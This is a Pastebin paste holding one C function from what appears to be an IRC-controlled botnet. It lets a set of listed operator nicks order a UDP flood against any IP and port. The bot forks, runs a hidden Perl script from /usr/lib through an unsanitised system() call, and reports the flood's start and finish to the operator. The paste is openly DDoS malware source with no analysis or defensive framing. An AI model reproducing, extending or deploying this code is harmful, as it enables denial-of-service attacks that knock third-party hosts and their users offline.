Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void udp(int sock, char *sender, int argc, char **argv) {
- if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
- if (disabled == 1) {
- Send(sock,"NOTICE %s :My commands are disabled!\n",sender);
- return;
- }
- if (UDPON == 0) {
- return;
- }
- unsigned int b;
- unsigned long secs2;
- time_t start=time(NULL);
- if (mfork(sender) != 0) return;
- if (argc < 3) {
- Send(sock,"NOTICE %s :>bot +udp <IP> <PORT> <PACKETS> <SECONDS>\n",sender);
- exit(1);
- }
- Send(sock,"NOTICE %s :UDP is flooding %s on port %s with %s packets for %s seconds!\n",sender,argv[1],argv[2],argv[3],argv[4]);
- chdir("/usr/lib");
- char system_sta[256];
- snprintf(system_sta, 256, "perl .u %s %s %s %s",argv[1],argv[2],argv[3],argv[4]);
- system(system_sta);
- secs2=atol(argv[3]);
- while(1){
- if (b >= 50) {
- if (time(NULL) >= start+secs2) break;
- b=0;
- }
- b++;
- }
- Send(sock,"NOTICE %s :UDP attack finished on %s!\n",sender,argv[1]);
- } else {
- Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement